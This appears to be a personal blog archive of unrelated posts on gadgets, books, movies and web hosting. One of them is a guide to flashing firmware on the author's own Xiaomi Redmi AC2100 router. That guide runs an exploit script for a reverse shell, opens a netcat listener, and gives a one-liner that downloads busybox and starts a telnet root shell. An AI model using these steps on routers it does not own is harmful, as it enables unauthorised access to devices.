Critics and demise of Apple

This is an old post that I somehow didn’t get to finish, originally written partially on 2013/4/5. Text in italics was added today.

Firstly, a bit of background. I did own the original iPhone. This was back in the days when the iPhone (the 2G-only model) was a US exclusive device. I actually ordered two when friends went to the US on a business trip. I think it was around US$6xx per unit or something and I had to go through unlock/jailbreak just to get the phones to work with Singapore SIM cards. My guess is that there were probably no more than 50 such phones in Singapore at the time. Those were the days!

I still miss the simplicity and beautiful design of iPhone – not so much the 3G(s) lines but the post-4G series. Despite improvements in Android, perhaps a change in iOS was sore needed, but the smartphone revolution really began with the iPhone and I have no doubt that iPhone is still the barometer that manufacturers are benchmarking against. Wait till when no one is talking about the iPhone/iPad family, then maybe we can start talking about death knells for Apple.

But before that, don’t kid yourself!

http://appleinsider.com/articles/13/04/03/on-its-third-birthday-apples-ipad-looks-back-at-years-of-comical-criticism

http://www.tuaw.com/2013/04/03/a-look-back-at-the-ipad-naysayers/

Redmi AC2100 router flashed with third-party firmware

This post details the steps I went through to flash Xiaomi’s Redmi AC2100 router using  a third-party firmware. There are already excellent guides out there so I won’t try to reinvent the wheel.  Instead I will focus on the differences for my circumstances where necessary. I will also list the resources that I have followed closely at the end of the post.

Although the AC2100 is neither a high end (Xiaomi has been releasing budget-friendly WiFi-6 routers since the end of 2019) nor new product, what got me initially interested in this particular wireless router was the relative ease with which people are able to flash to third-party firmwares. Contrary to some negative online reviews regarding Xiaomi’s wireless routers, I have not had any issues in using Xiaomi’s firmware in the past. My two main reasons for changing the firmware are

  1. Increase the WiFi transmit power by enabling region setting, because Xiaomi’s firmware for China-only products does not have a region setting (e.g. selecting USA instead of China).
  2. Enabling 160MHz for 5GHz WiFi, which is disabled by default in the stock firmware.

Firstly here are my environments.

  • Macbook Pro: macOS 10.14.6
  • System Python version: 2.7.16
  • Homebrew installed https://brew.sh/
  • Redmi AC2100 factory version: 1.0.14

Preparations

Software for Macbook

The needed tools are Python 3, scapy (Python library), netcat and telnet. As macOS comes with Python 2.x by default, I highly recommend installing Python 3 using pyenv from homebrew and not mess with any system files. Here is the  recommendation on how to manage multiple Python versions https://opensource.com/article/19/5/python-3-default-mac. Netcat and telnet can also be installed using homebrew.

Python 2 won’t work!

$brew install pyenv
# to install Python 3.7.8
$ pyenv install 3.7.8
# set Python 3.7.8 as global version
$ pyenv global 3.7.8
# install scapy
$ pip install scapy

Binaries/scripts to download

  • Simulate PPPoE service: PPPoE_Simulator.py. I have tried both [1] and [2] and there didn’t seem to be any differences, ended up using the file from [1]. Th interface needs to be changed accordingly to your network device, which you can find out using ifconfig after changing the default IP address.
  • The exploit to enable reverse shell: cve.py. I used the file from [1]. The interface needs to be changed accordingly to your network device
  • Simple shell to install on router: busybox. I used the file from [2] but the version from [1] probably will work too.
  • Bootloader to replace Xiaomi’s, for easy switching of firmware: breed-mt7621-xiaomi-r3g.bin from https://breed.hackpascal.net/ (AC2100 uses MTK 7621). Here is an explanation of Breed in English https://ltehacks.com/viewtopic.php?f=21&t=779
  • Padavan firmware to be loaded from inside Breed, RM2100.trx from https://github.com/hanwckf/rt-n56u (This is based on Asus firmware AFAIK).

Connect router to PC

  1. Connect Macbook to the router in a particular configuration – need 2 ethernet cables, see either [1] or [2].
  2. Disable WiFi.
  3. Set Macbook’s IP manually to 192.168.31.177, Net mask 255.255.255.0, Gateway 192.168.31.1. Check the network interface with this IP address – this will be the interface to set to in the two Python scripts.
  4. Some guides have mentioned needing to reset the router. My experience is that it is unnecessary at this stage.

Flashing firmware

  • Open a terminal session. Start PPPoE service locally.
$ sudo python PPPoE_Simulator.py

Go into AC2100’s settings at http://192.168.31.1 and change the connection method to PPPoE, using username and password as 123 (actually any random strings will do). There should be connection messages appearing very shortly.

  • Open another terminal session and start a local http server in the same folder where busybox and Breed. were downloaded to This is to allow transfer of files to the router later.
$ python -m http.server 8081
  • Open a third terminal session. Start netcat service to listen to port 31337
$ netcat -nvlp 31337
  • Open one more terminal session to run the exploit.
$ sudo python cve.py

Once the message “Sent 1 packets” appears here, check to see if the netcat session window indicates a connection from 192.168.31.1. If nothing appears, your router may have a different MAC address to the one specified in the script. Check the following line in cve.py because I spent a good three hours pulling my hair out just because I missed this small step!

# cve.py
if src.startswith("change to your router mac")

Because the connection can be unstable, which means the netcat and cve.py may need to be rerun multiple times, I suggest copying the following line to be ready to paste into the netcat session as soon as the “connection…” message appears. If everything proceeds correctly you will see busybox being uploaded and permissions set.

cd /tmp && wget http://192.168.31.177:8081/busybox && chmod a+x ./busybox &&./busybox telnetd -l /bin/sh
  • Open another terminal session, and telnet into the router at 192.168.31.1 from the folder where Breed has been downloaded to.
$ telnet 192.168.31.1
# the following to execute on router
cd /tmp
wget http://192.168.31.177:8081/breed-mt7621-xiaomi-r3g.bin && nvram set uart_en=1 && nvram set bootdelay=5 && nvram set flag_try_sys1_failed=1 && nvram commit
mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader

The last line replaces Xiaomi’s bootloader with Breed. The router should now reboot.

  • Login to http://192.168.31.1 to check if the router is working normally.
  • Reset the router. This will set the router to boot into Breed.
  • Change network interface on Macbook to obtain IP via DHCP.
  • Log in to http://192.168.1.1 and select firmware update (固件更新) and proceed to flash Padavan.
  • Log in to Padavan at http://192.168.2.1 using admin/admin.

Resources

  1. Instructions from Openwrt official site https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100
  1. Here is another good set of instructions to install Openwrt with many screenshots https://github.com/impulse/ac2100-openwrt-guide
  1. Instructions from the well-known Chinese forum for software-based router to install Breed https://www.right.com.cn/forum/thread-4008447-1-1.html

10 books

As a follow up to the 10 movies challenge, there was also a 10 books in 10 days challenge.

1 Second Foundation

This was the book that sparked my interest in the Foundation, the related Galactic Empire and Robot series by Asimov, and, I might add, my interest in science fiction in general. Looking back, I have to say that I was very fortunate to have randomly picked up this novel from my school library (around Year 9 in high school) at a time when I was still struggling with my English, having migrated to Australia some 4 years ago.

2 射雕英雄傳 (The Legend of the Condor Heroes)

My favourite series of all by 金庸, having re-read this countless times since secondary school.

3 A Brief History of Time

I have always been fascinated by science, physics and mathematics throughout my secondary school. When this book came out during my final year in high school, I was thrilled to be able to glean insights from one of the giants in Physics at the time.

4 The Tao of Physics

I became fascinated with idea of Quantum physics having some connections to Eastern mysticism during the final two years in high school, and read quite a few titles in the summer before university was to start. This, together with the The Dancing Wu Li Masters and In Search of Schrödinger’s Cat: Quantum Physics and Reality.

5 Citizen of the Galaxy

I read this novel – apparently for teens, according to Amazon anyway – during my first year at university. Perhaps being in a totally new environment and feeling like fish out of water, this story always reminds me of the need to find one’s identity.

6 Ender’s Game

Over the years, I have read every novel in the Ender saga (there are over 10 I believe), with the exception of Speaker for the Dead, none has the same emotional impact as this first novel. In this first novel, read during my first year in undergrad, I felt somehow connected to this young boy, for his isolation, first among his peers, etc. It remains so even when I picked up again years later.

6.1 Speaker for the Dead

For me, this was Ender the compassionate adult as Ender’s Game was about Ender the compassionate but torn child-genius.

7 The Final Encyclopedia

This was a fascinating sci-fi series that I discovered during the last two years of my undergrad. This was the first of a two-part conclusion up to that point in time, but the series was never completed. I was a little sad to learn years later the reason for not finding the series concluding novels: the author Gordon R. Dickson had passed away in 2001.

8 The Road Less Travelled

This was the novel my Year 12 form teacher gave to me as a parting gift. Somewhat shamefully after quite a few start-stops since my first year in university, I only finished reading this while trekking along the Annapurna circuit in Nepal in 1998. I suppose everything has it time and place, and I was simply not mature or simply didn’t have the mindset to absorb the contents prior to my trip to Nepal.

9 Outliers

I have always been fascinated by such topics as how people learn, and genius vs effort, intelligence, etc. I was truly fascinated by the concept of 10,000 hours when I first came across it. Gladwell’s recent book Talking to Strangers: What We Should Know about the People We Don’t Knowis also quite interesting.

10 Steve Jobs

The story of Apple and Steve Jobs are so intertwined and I seriously doubt that there would be anyone in developed countries who don’t know either of these two names. I am very fortunate to have used an Apple II Plus in my youth, and subsequently witnessed the decline (near bankruptcy) and the rise from the ashes of Apple, thanks largely to the drive and genius of one man. A very interesting story which I managed to devour in a couple of days. The man has faults certainly but his single-mindedness and dedication to “beauty” are qualities that I admire.

10 movies

A while ago I accepted a Facebook challenge to post 10 movie titles in 10 days, no explanations. I decided to repost the movies here, with possibly some words to describe why they were selected.

1 Dead Poets Society

“O captain, my captain!” and “Carpe diem” are two phrases that many of my generation are sure to be familiar with thanks to this movie starring Robin Williams and other future stars. I watched this after the first day of high school leaving exams and absolutely loved it, and still loved it when rewatching years later.

2 Platoon

I watched this during maybe Year 9, or 10 in high school. Although some of the anti-war messages were probably beyond our age of the time, I still recall the emotional impact as I walked out of the cinema vividly.

3 Shadowlands

This was a beautiful love story, more about hope and rebirth than the tragedy that took place. This was one of the many films I saw as a member of ANU the film society.

4 The Tango Lesson

This was really the film which started my obsession for Tango. Despite the rather artsy story line, the dancing was amazing for me at the time.

5 The Shawshank Redemption

For me, this was not only about sweetness of revenge but also remaining true to oneself despite adversity.

6 Four Weddings and a Funeral

Somewhat like Friends for many people, this film somehow always reminds me of the “innocence” and carefree-ness of university days.

7 The Breakfast Club

This is one of the many iconic 80’s films, although I suspect I actually watched a re-run on TV and not in the cinema. Looking back now, the film had an assortment of characters that are still very typical nowadays. The rebelliousness and the need to break free from discipline are feelings that I can identify with during my teenage years.

8 The Doctor

I watched this during my university. This is one of those films that gains more meaning after second or third viewing.

9 The Good, the Bad and the Ugly

I first watched this during the Friday night re-runs of classic Westerns, the good old days!

10 E.T. the Extra-Terrestrial

I am not exactly sure when I watched this but from memory I went together to the cinema with my siblings while living in Taiwan in my youth.

Wandering Earth review

I don’t usually review movies. After seeing some of the online comments I decided ito put my dissenting voice into the mix. This was a big budget movie that came out in February 2019 and did very well in the Chinese box office. It’s also available in Netflix but I am not aware of major global cinematic release.

In a gist “wandering earth” is a movie about efforts to shift the earth through space, from our solar system to another star system in order to escape the sun going super nova. This is sci-fi so anything is possible! However this is where the sci-fi part ends, because focus of rest of the movie is decidedly on the humans and really earth takes a back seat.

It has mostly achieved the claim of being able to rival Hollywood movies in terms of CGI. Being a China-produced movie, it understandably plays on much of Chinese nationalist sentiments (main protagonist against all odds of being Chinese managed to achieve the impossible, or being the most persevered when everything seemed lost), Chinese settings etc. Its biggest limitation is in characterisations. The main protagonists are all emotionally-driven and makes self-centred driven decisions throughout the film. Some highlights.
– I don’t want to participate in your time-critical Earth/humanity-saving efforts because I am more concerned to get my grandpa/son/grandson to safety. It doesn’t really matter that there may not be a home to go back to if everything fails.
– A solider in a fit of rage destroys a device that can still be useful in saving Earth.
– One soldier has already died trying to save me, but I don’t care and still want more soldiers to risk their lives to go back to save my grandfather.
– At times the movie really tries too hard. For example last scene of having hundred(s) of people trying to push a ignition pin (“pin” is really an understatement because it’s gigantic) in place.

The ultimate sacrificial act really takes the cake. Some online commenters have tried to draw a parallel to Armageddon (or Deep Impact, Space Cowboys, etc)- another meteor-heading-to-earth and somehow an American crew miraculously pulled off the impossible by sacrificing themselves. Apart from the imminent danger to earth and the entire humanity and the hugely stacked odds, in my opinion that’s where the comparisons end. Firstly the protagonists in Armageddon took a gamble and sacrificed themselves since there appeared no other options. In “Wandering earth”, there was an alternative: leave Earth be, and move the remaining humans and human embryos onboard to hopefully find a new planet and and create a New Earth. The option in the movie was for the so-called selfless hero to single-handedly make the decision to sacrifice not only himself but also the rest of humanity so that he can take a gamble. In other words he made the minds up for rest of people on board the space station, that he/they should not go on living should the original Earth become lost. How. Very. Noble.

Overall, I think it’s an enjoyable sci-fi film with cool effects, but annoying characters. If you can get beyond that, then you may enjoy it.

Quick review of Mi True Wireless Earphones 2

This is not your typical unboxing.

I am sharing my own experience of using the Mi True Wireless Earphones 2 (shortened to Mi TWE2 from now on) for a week. I used these earphones during work commute (walk + cycle), in the office (relatively quiet, not shop/factory floor type of noise) and at home (mostly Youtube and music listening in FLAC format). For home use, I am normally a HD650 open-back headphone user, looking for something to use on daily commute and the occasional office calls, so the two qualities I am interested in are: decent sound quality, and good for phone/app calls. I own the Edifier W2000BT but Mi TWE2 is the first pair of true wireless that I have used for more one hour.

To be honest, of the specs that can easily found, the only information that I am interested in are:

  • Bluetooth 5.0
  • True wireless Qualcomm chip
  • Battery consumption: about 3 hours (this was also my experience)
  • Cost: RMB 399 (US$56)

To start off I’d say this is an excellent pair true wireless earphone if your use case restricts to two or less devices, in a mainly office or home environment. Build quality feels good, and good value for money. However as a disclaimer I did not search for competing devices (and frankly there is quite a few, with big range in price) but placed my faith in the Xiaomi/One more brand that is behind this pair of earphones.

Pros

  • Sound quality good (music and receiving calls). no complaints of tinny sound.
  • Each earphone can pair to a different device.
  • Light weight, where you really hardly feel the presence.

Cons

  1. (Passive) Noise cancellation is non-existent. The Mi TWE2 is more of the Air Pods 1/2 design where the earphones hang on to your ears, so environmental noises will leak in naturally. To be fair, each person’s ear is different and it may be just that this is of looser fit for me.
  2. Connection logic is sometimes hard to figure out. For example, when listening to music with Mi TWE2 with an Android phone, after removing the earphones from the ear and then replaced, restart of music needs to be done manually. When paired with the MacBook, music resumes automatically.
  3. Pairing for the first time needs to always involve placing the earphone in the case. I am not sure if this is the case with Air Pods but can be inconvenient at times.
  4. There were the occasional connection issues after pairing each earphone to different devices and want to use both with one single device. However I think this is something that can be easily solved with a software update.

Recommendations

  1. For general commute, and when noise reduction is of low priority.
  2. For office and home environment, ideal.

For now I will stick to my Edifier W2000BT, bluetooth wired but costing between RMB89-109 (US$12.60-15) that is reliable with decent sound for normal use.

Footnote: I actually had this drafted already since November 2019, so I’d better get this out as the updated hardware has been released (2S).

Switching host: Update 1

I have been using open-source web-based photo album organiser Gallery for a long time, starting (around 2003) with Version 2 and now on (the final) Version 3. In fact it’s been so long ago that I have forgotten why I made the decision initially, except vaguely recalling something along the lines that I was looking an application based around PHP and MySQL (around the time the term LAMP stack was coined) photo gallery software Gallery, and there wasn’t anything else as feature-rich and user friendly at the time. My needs are fairly basic so I have not re-evaluated other choices since upgrading to Gallery 3.

Now, due to the recent decision to move host, I discovered two things while attempting to migrate Gallery. One is that Gallery has not been actively maintained since 2014. The second thing is that the MySQL dump from Gallery apparently exceeded the file size limit (50MB) for uploading to my new host using phpMyAdmin and the command line route is also out (certain errors during importing that I could not track down). This led to the slightly annoying situation of needing to find a new photo album software. By the way, although briefly experimenting with Flickr (which has also become history, as they say), I am more for keeping content on my own server.

A quick Google search showed I was not the only one having the same predicament. Taking the easy (ie. lazy) route I decided to follow the advice of more knowledgeable users such as the below and migrated to Piwigo. I must say, it’s been good after a week’s use.

  1. Serge’s consideration when migrating to Piwigo, with his wonderful Gallery to Piwigo migration script and GreyDragon theme
  2. Migration to Gallery to Piwigo
  3. Another user’s migration (to Piwigo) experience

A new lease of life for Mi Pad

Xiaomi’s Mi Pad was launched in 2015 to the global markets with above average specs. Unfortunately being a 4-year-old product means development and support for it was going to end sooner or later. This is simply another consequence of the fast-paced nature of the smartphone-tablet market. The last official build was MIUI 7 based on Android Kitkat (China version was supported up to MIUI 9).

Frankly, although the Mi Pad sported the decent NVIDIA Tegra K1 processor, paired with a measly (by today’s standard) 2GB RAM and 16GB ROM (now THIS is terrible…), it does come with a high resolution 1080p IPS screen (326PPI). This makes the tablet a rather good media consumption device.

A few months ago, I decided to dust off a couple of Mi Pads that I had and started to look for third party ROMs that can extend Mi Pad’s usefulness. Below are the steps which I used to flash LineageOS Unofficial 15.1 (Android Oreo), for my own benefit should I need to reflash in the future. It’s a combination of steps I found from multiple sources. For those who may be unfamiliar with this Android Distribution, LineageOS is the successor to the custom ROM CyanogenMod.

Downloads

Files that need to be downloaded (links can be found online):

  • mocha_repartition_1_2GB_RahulTheVirus.zip: Keep as zip file. This is needed to merge the two partitions, or Gapps can’t be installed.
  • TosForPSCI-0.1: This needs to be unzipped to reveal an img file, for flashing using fastboot.
  • recovery-03.11.2018.img: For some reasons, newer versions of TWRP recovery didn’t seem to work reliably so I am sticking with this slightly older version.
  • lineage-15.1-20181228-UNOFFICIAL-mocha: Keep as zip file. This will be installed from within recovery mode.
  • Gapps: For one tablet pengapps-pico (needs to be arm, not arm64) worked but not on another tablet, but MindTheGapps worked consistently so I am sticking with this version.
  • SmokeR24.1-stable(31.12.2018-12.56): Keep as zip. This will be installed from within recovery. This must be installed as the final step or the touchscreen won’t work during initial set up.

Once custom recovery has been flashed, I’d suggest pushing items 4-6 to /sdcard for faster installation.

$ adb push filename /sdcard

Installation

    • Change active system to partition 1.
    • Go into fastboot mode, and flash tos and TWRP custom recovery.
$ fastboot flash tos your-path-to-tos.img
$ fastboot flash recovery your-path-to-recovery-03.11.2018.img
    • Reboot to recovery. I found it was necessary to hold on to the volume button for another 5-10 seconds after Mi logo has appeared.
# WHILE holding vol+ button
$ fastboot reboot
  • Merge system partition
  • Reboot to recovery. A couple of times this took up to 20 minutes to restart. Keep Mipad charged in the meantime.
  • Full wipe: system, cache, data, dalvik
  • Flash current LineageOS build
  • Flash Gapps
  • Flash touchscreen hot fix
  • Reboot tablet.

Switching host yet again

A couple of months ago, I was informed that my current web hosting company Webfaction was merging with GoDaddy, although it sounded more like a take-over frankly hosting issues would be handled by GoDaddy since moving forward. The whole process was set to be finalised in a month or two. Since GoDaddy has never been high on my list of web hosting companies, I started to shop around for a new home for the few domains that I own.

The final decision was reached after reading these few articles:

  • https://justfreethemes.com/best-hosting-services/
  • https://winningwp.com/shared-vs-managed-wordpress-hosting/
  • https://www.codeinwp.com/blog/best-wordpress-hosting/
  • https://www.codeinwp.com/blog/shared-vs-managed-wordpress-hosting/
  • https://hostingfacts.com/hosting-reviews/siteground/
  • https://www.shivarweb.com/7970/siteground-hosting-review/
  • https://www.websitehostingrating.com/siteground-vs-bluehost/

I guess it’s kind of obvious that SiteGround was ranked highly but I still had some reservations about the renewal price, seeing that I am mostly dealing with WordPress sites plus the occasional trials of other software.

Use Asana for planning

As a follow up to the previous post, I wanted to quickly share this video on how to use Asana for planning. This makes use of a neat feature in Asana where you can assign multiple projects to the same task. Incidentally this is also the same trick that allows me to see projects in both List and Kanban views.

There are more productivity tips by the author, so check out the channel for other videos if you are interested in the topic.